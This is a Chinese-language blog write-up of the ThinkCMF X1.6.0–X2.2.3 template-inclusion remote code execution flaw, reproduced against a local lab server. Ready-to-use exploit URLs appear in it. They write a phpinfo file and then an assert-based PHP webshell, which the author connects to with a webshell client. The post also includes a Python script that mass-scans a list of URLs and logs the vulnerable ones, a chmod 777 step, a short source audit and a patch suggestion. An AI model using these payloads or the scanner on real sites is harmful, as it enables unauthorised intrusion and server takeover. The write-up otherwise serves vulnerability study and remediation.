1.漏洞概述

攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的

2.影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1(我用的是这个)
ThinkCMF X2.2.2
ThinkCMF X2.2.3

3.安装

赋予权限

4.安装系统

安装成功进入主页

  • Poc
/?a=display&templateFile=README.md

/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>
  • 测试

Poc1:

http://192.168.2.135/thinkcmf-X2.2.1//?a=display&templateFile=README.md

POC2:

http://192.168.2.135/thinkcmf-X2.2.1/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>

查看info.php

没有写入成功,干脆看看源代码吧

这里提出了错误信息意思是,没有写入权限

[2] file_put_contents(info.php): failed to open stream: Permission denied /var/www/html/thinkcmf-X2.2.1/data/runtime/Cache/Portal/''2539f066e2972ad12f670857ed0f6b3d.php 第 1 行.

  1. 简单审计

在这个目录下面/var/www/html/thinkcmf-X2.2.1/data/runtime/Cache/Portal

生成了一个临时文件

打开查看

<?php if (!defined('THINK_PATH')) exit(); file_put_contents('info.php','<?php phpinfo();?>');?>

后面检查了一下发现是权限分发的问题

切换到cms目录下赋予所有文件可读可写可执行权限

chmod –R 777 *

重新执行POC2

可以看到已经写入成功,这里执行了phpinfo

  • 提权操作

Payload:

/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('shell.php','<?php $a="assert";$a($_POST[123]);?>');?>

前面既然可以写入phpinfo,自然也可以写入恶意代码

没有显示错误,代表写入成功,访问一下,并连接一下试试

手动连接

列出文件(assert好像手工不太好使,emmmm)

还是上菜刀

  • 源代码审计

通过index.php可以发现,项目入口是application/,切换目录过去

根据poc盲猜控制器IndexController.class.php

空荡荡的,就一个index方法,这里继承的是父类HomebaseController,切出去看看作为程序入口,使用public是比较危险的,public是公有方法任何人都可以调用,并且这里是可以操控的,因此这里可能就是一个漏洞点(修补的话,把public改为protected)

路径找到了,/application/Common/Controller/

直接搜索fecth 获取输出页面内容

调用内置的模板引擎fetch方法,

@access protected

@param string $templateFile 指定要调用的模板文件

默认为空 由系统自动定位模板文件

@param string $content 模板输出内容

@param string $prefix 模板缓存前缀*

@return string

值得关注的是125行这里

125          */

126         public function fetch($templateFile='',$content='',$prefix=''){

127             $templateFile = empty($content)?$this->parseTemplate($templateFile):'';

128                 return parent::fetch($templateFile,$content,$prefix);

129         }

这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀,而fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

分析不下去(分析失败。。。。)

  • 修复方案

将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected

自动化检测漏洞脚本

#-*- coding:utf-8 -*-
import urllib2
import re
'''
ThinkCMF框架任意内容包含漏洞
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
Poc:
/?a=display&templateFile=README.md
/?a=fetch&templateFile=public/index&prefix=''&content=<?php file_put_contents('info.php','<?php phpinfo();?>');?>
Author:Mke2fs
备注:检测脚本可能会误报,自行优化,优化完了记得滴滴一下我
还有记得表明出处
'''
path='url地址列表,用绝对路径'
#thincmf_payload=['/public/index','/Public/index']
payload=['?a=display&templateFile=README.md']
su=[]
def test_is_thinkcmf():
with open(path) as f:
contents=f.read() #读取域名
#print contents.replace('\r','').split('\n')
urllist=contents.replace('\r','').split('\n')#去除分割符,形成一个url列表
for uri in urllist:
try:
print uri
for x in payload:
res=urllib2.Request(uri+x)#urlopen(uri+x,timeout=2)
result=urllib2.urlopen(res,timeout=2)#超时两秒
html=result.read() #获取网页内容
#print html
aa = re.search('ThinkCMF',html)
#print aa
if aa !=None :
print "\033[31m[*] Vulnerabled!" + "URL:" + uri, aa.group() # 设置前景色为红色
su.append(uri)
else:
print '\033[32m[*] Not Vuln' # 设置前景色为绿色
except Exception as e:
print '\033[32m[*] 未知错误或异常!',e
print su
with open('包含漏洞url的保存地址','a+') as ff:
for i in su:
ff.write(i+'\n')
test_is_thinkcmf()

参考文章:

https://xz.aliyun.com/t/6626#toc-5

https://blog.riskivy.com/thinkcmf-%E6%A1%86%E6%9E%B6%E4%B8%8A%E7%9A%84%E4%BB%BB%E6%84%8F%E5%86%85%E5%AE%B9%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/?from=timeline&isappinstalled=0

ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)的更多相关文章

  1. ThinkCMF X1.6.0-X2.2.3框架任意内容包含漏洞分析复现

    ThinkCMF X1.6.0-X2.2.3框架任意内容包含漏洞分析复现 一.ThinkCMF简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理系统框架,底层采用ThinkPHP3. ...

  2. ThinkCMF框架任意内容包含漏洞分析复现(写入shell+文件包哈)

    ThinkCMF框架任意内容包含漏洞分析复现 0x00 简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建.ThinkCMF提出灵活的应用 ...

  3. [转]ThinkCMF框架任意内容包含漏洞分析复现

    0x00 简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建.ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以 ...

  4. ThinkCMF框架任意内容包含漏洞复现

    1. 漏洞概述 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建. 利用此漏洞无需任何权限情况下,构造恶意的url,可以向服务器写入任意内容的 ...

  5. ThinkCMF 框架上的任意内容包含漏洞

    0x01  背景 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建. ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者 ...

  6. ThinkCMF框架任意内容包含

    更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇. ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建.ThinkCMF提出灵活的应用 ...

  7. [CMS]ThinkCMF框架存在任意内容包含漏洞

    原出处:https://www.freebuf.com/vuls/217586.html 0x00 简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3 ...

  8. ThinkCMF框架上的任意内容包含漏洞

    一.背景 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建. ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据 ...

  9. phpmyadmin任意文件包含漏洞分析(含演示)

    0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: ...

随机推荐

  1. Orm 配置说明

    一.在线技术文档: http://files.cnblogs.com/files/humble/d.pdf   二.使用的大致流程   1.首先下载代码生成器,可以一键生成项目Model层;(其中含有 ...

  2. linux的arp表满导致同网段无法ping通

    由于历史原因,有一个网段子网设置非常大10.0.0.0/21,8个C地址段为一个子网. linux内核默认arp表大小为1024,导致一台监控机器arp表溢出,同时导致日志输出速率超出限制,无法输出日 ...

  3. Maven 教程(20)— 使用maven-assembly-plugin插件来定制化打包

    原文地址:https://blog.csdn.net/liupeifeng3514/article/details/79777976 简单的说,maven-assembly-plugin 就是用来帮助 ...

  4. hread.interrupt()到底意味着什么

    首先,一个线程不应该由其他线程来强制中断或停止,而是应该由线程自己自行停止. 所以,Thread.stop, Thread.suspend, Thread.resume 都已经被废弃了.而 Threa ...

  5. 剑指阿里P6,25岁小伙怒斩三面,喜提offer(Java研发岗)

    本文提供者:洎扰の庸人 微信公众号:慕容千语的架构笔记.欢迎关注一起进步. 进阿里一直都是身为程序员的我,最初的梦想,经过去年面试蚂蚁金服失败的挫折后,今年再次鼓起勇气投简历,经过一位前辈的内推省了很 ...

  6. [转帖]kafka 如何保证数据不丢失

    kafka 如何保证数据不丢失 https://www.cnblogs.com/MrRightZhao/p/11498952.html   一般我们在用到这种消息中件的时候,肯定会考虑要怎样才能保证数 ...

  7. es+logstash+kibana搭建

    1.简介 ELK(elasticsearch+logstash+kibana)是目前比较常用的日志分析系统,包括日志收集(logstash),日志存储搜索(elasticsearch),展示查询(ki ...

  8. AAct 一款 KMS 激活工具

    AAct是一款由俄罗斯网友Ratiborus制作的非常小巧实用的KMS激活工具,能自动设置密钥管理服务激活Windows.Office VL版本.支持手动安装及删除激活产品密钥.手动创建及删除续期计划 ...

  9. (9)ASP.NET Core 中的MVC路由二

    1.URL生成 MVC应用程序可以使用路由的URL生成功能,生成指向操作(Action)的URL链接. IUrlHelper 接口用于生成URL,是MVC与路由之间的基础部分.在控制器.视图和视图组件 ...

  10. Maven distributionManagement 分发构件至远程仓库

    https://blog.csdn.net/qq827245563/article/details/82661583 maven发布到本地仓库,和私服https://blog.csdn.net/u01 ...